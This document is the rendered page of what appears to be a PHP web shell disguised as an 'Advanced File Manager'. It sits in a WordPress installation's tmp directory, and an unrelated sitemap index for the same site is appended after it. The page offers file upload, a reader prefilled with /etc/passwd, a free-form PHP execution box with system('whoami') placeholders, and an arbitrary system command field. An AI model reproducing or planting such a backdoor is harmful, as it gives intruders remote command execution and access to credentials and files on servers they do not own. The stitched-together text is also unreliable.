<!DOCTYPE html>
<html>
<head>
    <title>File Manager</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; background: #f5f5f5; }
        .container { max-width: 1400px; margin: auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.1); }
        .toolbar { background: #f0f0f0; padding: 10px; margin: 10px 0; border-radius: 5px; }
        .section { margin: 15px 0; padding: 15px; border: 1px solid #ddd; border-radius: 5px; background: #fafafa; }
        .file-table { width: 100%; border-collapse: collapse; margin-top: 10px; }
        .file-table tr:hover { background: #f9f9f9; }
        .file-table td, .file-table th { padding: 8px; border-bottom: 1px solid #eee; text-align: left; }
        .dir-link { color: #0066cc; font-weight: bold; text-decoration: none; }
        .dir-link:hover { text-decoration: underline; }
        .actions form { display: inline; margin: 0 2px; }
        .actions input, .actions button { font-size: 12px; padding: 2px 5px; }
        .breadcrumb { margin: 10px 0; padding: 8px; background: #e8f4f8; border-radius: 4px; }
        button, input[type="submit"] { background: #4CAF50; color: white; border: none; padding: 5px 10px; border-radius: 3px; cursor: pointer; }
        button:hover, input[type="submit"]:hover { background: #45a049; }
        .delete-btn { color: red; }
        textarea { font-family: monospace; }
    </style>
</head>
<body>
<div class="container">
    <h2>📁 Advanced File Manager</h2>
    
    <!-- Current Directory Display -->
    <div class="toolbar">
        <strong>📍 Current Path:</strong> 
        <a href='?dir=%2Fopt%2Fbitnami%2Fwordpress'>🏠 Home</a> / <a href='?dir=%2Fopt'>opt</a> / <a href='?dir=%2Fopt%2Fbitnami'>bitnami</a> / <a href='?dir=%2Fopt%2Fbitnami%2Fwordpress'>wordpress</a> / <strong>tmp</strong>    </div>
    
    <!-- Quick Access Buttons -->
    <div class="section" style="background:#e8f5e9">
        <strong>⚡ Quick Access:</strong>
        <a href="?dir=%2Fopt%2Fbitnami%2Fwordpress">🏠 Root</a> |
        <a href="?dir=/">💻 System Root</a> |
        <a href="?dir=/var/www/html">🌐 Web Root</a> |
        <a href="?dir=/etc">⚙️ /etc</a> |
        <a href="?dir=/home">👤 /home</a> |
        <a href="?dir=/tmp">📦 /tmp</a>
    </div>
    
    <!-- Upload Form -->
    <div class="section">
        <form method="POST" enctype="multipart/form-data">
            <strong>📤 Upload File:</strong>
            <input type="file" name="file" required>
            <input type="submit" value="Upload to Current Directory">
        </form>
    </div>
    
    <!-- Create Form -->
    <div class="section">
        <form method="POST">
            <strong>➕ Create New:</strong>
            <input type="text" name="new_name" placeholder="name" required size="30">
            <select name="item_type">
                <option value="file">📄 File</option>
                <option value="dir">📁 Directory</option>
            </select>
            <input type="submit" name="create_item" value="Create">
        </form>
    </div>
    
    <!-- System Tools -->
    <div class="section" style="background:#fff3e0">
        <details>
            <summary><strong>🔧 Advanced Tools (Click to Expand)</strong></summary>
            <br>
            
            <!-- System File Reader -->
            <form method="POST" style="margin-bottom:15px">
                <strong>📖 Read System File:</strong>
                <input type="text" name="system_file" value="/etc/passwd" size="50">
                <input type="submit" name="read_system" value="Read File">
            </form>
            
            <!-- PHP Code Execution -->
            <form method="POST" style="margin-bottom:15px">
                <strong>🐘 Execute PHP Code:</strong><br>
                <textarea name="execute_code" rows="3" cols="80" placeholder='echo system("whoami");&#10;echo file_get_contents("/etc/passwd");&#10;phpinfo();'></textarea><br>
                <input type="submit" value="Run PHP Code">
            </form>
            
            <!-- System Command -->
            <form method="POST">
                <strong>💻 System Command:</strong>
                <input type="text" name="system_cmd" size="60" placeholder="ls -la, whoami, id, pwd, uname -a">
                <input type="submit" value="Execute Command">
            </form>
        </details>
    </div>
    
    <!-- File Listing -->
    <h3>📂 Directory Contents:</h3>
    <table class="file-table">
        <thead>
            <tr>
                <th>Type</th><th>Name</th><th>Permissions</th><th>Size</th><th colspan="5">Actions</th>
            </tr>
        </thead>
        <tbody>
                </tbody>
    </table>
    
    <!-- PHP Info Link -->
    <hr>
    <a href="?phpinfo=1" target="_blank">🔧 System Information (phpinfo)</a>
    </div>
</body>
</html><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://armagix.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://armagix.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://armagix.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://armagix.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://armagix.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
